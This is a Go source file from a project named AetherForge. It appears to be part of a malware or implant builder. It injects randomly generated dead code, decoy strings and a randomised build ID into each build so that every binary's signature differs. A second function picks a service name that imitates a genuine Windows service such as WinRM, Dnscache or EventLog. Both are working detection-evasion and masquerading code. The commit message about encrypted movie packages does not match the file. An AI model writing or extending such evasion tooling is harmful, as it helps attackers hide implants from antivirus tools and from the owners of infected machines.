Files
AetherForge/server/internal/builder/polymorph.go
drjones b99c8aab15 Add movie fusion packages with locked media, ZIP export, and batch forge UI.
Paired video mode encrypts movies, uses runner-only lock hints, bundles README plus artifacts per title, and supports batch forging with progress.
2026-05-29 01:33:09 -07:00

172 lines
4.1 KiB
Go

package builder
import (
"crypto/rand"
"encoding/hex"
"fmt"
"hash/fnv"
mrand "math/rand"
"os"
"path/filepath"
"strings"
)
// injectPolymorph writes a unique deadcode.go and returns extra -ldflags (buildid, nonce).
func injectPolymorph(agentDir, seed string) (extraLdflags string, err error) {
if seed == "" {
b := make([]byte, 16)
_, _ = rand.Read(b)
seed = hex.EncodeToString(b)
}
h := fnv.New64a()
_, _ = h.Write([]byte(seed))
rng := mrand.New(mrand.NewSource(int64(h.Sum64())))
buildIDHex := hex.EncodeToString(randomBytes(rng, 8))
nonce := hex.EncodeToString(randomBytes(rng, 12))
funcCount := 6 + rng.Intn(8)
var funcDefs strings.Builder
var funcNames []string
for i := 0; i < funcCount; i++ {
name := "dead_" + randomIdent(rng, 10+rng.Intn(8))
funcNames = append(funcNames, name)
funcDefs.WriteString(generateDeadFunc(name, rng))
}
strCount := 24 + rng.Intn(32)
var strLines strings.Builder
for i := 0; i < strCount; i++ {
s := randomString(rng, 16+rng.Intn(48))
strLines.WriteString(fmt.Sprintf("\t%q,\n", s))
}
var tableEntries strings.Builder
for _, n := range funcNames {
tableEntries.WriteString("\t\t" + n + ",\n")
}
content := fmt.Sprintf(`// Code generated by AetherForge polymorphic forge — DO NOT EDIT
// Build seed: %s
package polymorph
import (
"crypto/md5"
"encoding/hex"
)
const buildNonce = %q
var decoyStrings = []string{
%s}
var buildMarker = %q
func init() {
_ = initDecoys()
}
func initDecoys() int {
sum := 0
for _, fn := range deadFuncTable {
sum += fn()
}
if len(decoyStrings) > 0 {
h := md5.Sum([]byte(buildMarker + buildNonce))
sum += int(h[0]) ^ int(decoyStrings[len(decoyStrings)-1][0])
}
_ = hex.EncodeToString([]byte(buildNonce))
return sum
}
func deadFuncTable() []func() int {
return []func() int{
%s }
}
%s
`, seed, nonce, strLines.String(), buildIDHex, tableEntries.String(), funcDefs.String())
dir := filepath.Join(agentDir, "polymorph")
if err := os.MkdirAll(dir, 0755); err != nil {
return "", err
}
if err := os.WriteFile(filepath.Join(dir, "deadcode.go"), []byte(content), 0644); err != nil {
return "", err
}
extraLdflags = fmt.Sprintf(` -buildid=%s -X main.polymorphNonce=%s`, buildIDHex, nonce)
return extraLdflags, nil
}
func generateDeadFunc(name string, rng *mrand.Rand) string {
ops := 4 + rng.Intn(6)
var b strings.Builder
b.WriteString(fmt.Sprintf("//go:noinline\nfunc %s() int {\n\tx := %d\n", name, rng.Intn(99999)+1))
for i := 0; i < ops; i++ {
switch rng.Intn(4) {
case 0:
b.WriteString(fmt.Sprintf("\tx = (x * %d) ^ %d\n", rng.Intn(127)+2, rng.Intn(4096)))
case 1:
b.WriteString(fmt.Sprintf("\tx += len(decoyStrings[%d %% len(decoyStrings)])\n", rng.Intn(8)))
case 2:
b.WriteString(fmt.Sprintf("\tif x > %d { x -= %d }\n", rng.Intn(5000), rng.Intn(500)))
default:
b.WriteString(fmt.Sprintf("\tx = x<<1 | (x >> %d)\n", 1+rng.Intn(3)))
}
}
b.WriteString("\treturn x & 0xffff\n}\n\n")
return b.String()
}
func randomBytes(rng *mrand.Rand, n int) []byte {
b := make([]byte, n)
for i := range b {
b[i] = byte(rng.Intn(256))
}
return b
}
func randomIdent(rng *mrand.Rand, n int) string {
const chars = "abcdefghijklmnopqrstuvwxyz0123456789"
out := make([]byte, n)
for i := range out {
out[i] = chars[rng.Intn(len(chars))]
}
return string(out)
}
func randomString(rng *mrand.Rand, n int) string {
const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ./-_"
out := make([]byte, n)
for i := range out {
out[i] = chars[rng.Intn(len(chars))]
}
return string(out)
}
func pickServiceMasquerade(seed string) (serviceName, donor string) {
profiles := []struct{ name, donor string }{
{"WinrmHostSvc", "WinRM"},
{"WcmsvcWorker", "Wcmsvc"},
{"DhcpMonitorHost", "Dhcp"},
{"DnscacheSync", "Dnscache"},
{"EventLogFwd", "EventLog"},
{"LanmanWorkstationMgr", "LanmanWorkstation"},
{"RpcEptMapperHost", "RpcEptMapper"},
{"ScheduleHostSvc", "Schedule"},
{"ShellHWDetectionMon", "ShellHWDetection"},
{"TrkWksHost", "TrkWks"},
}
h := fnv.New32a()
_, _ = h.Write([]byte(seed))
idx := int(h.Sum32()) % len(profiles)
if idx < 0 {
idx = -idx
}
p := profiles[idx]
return p.name, p.donor
}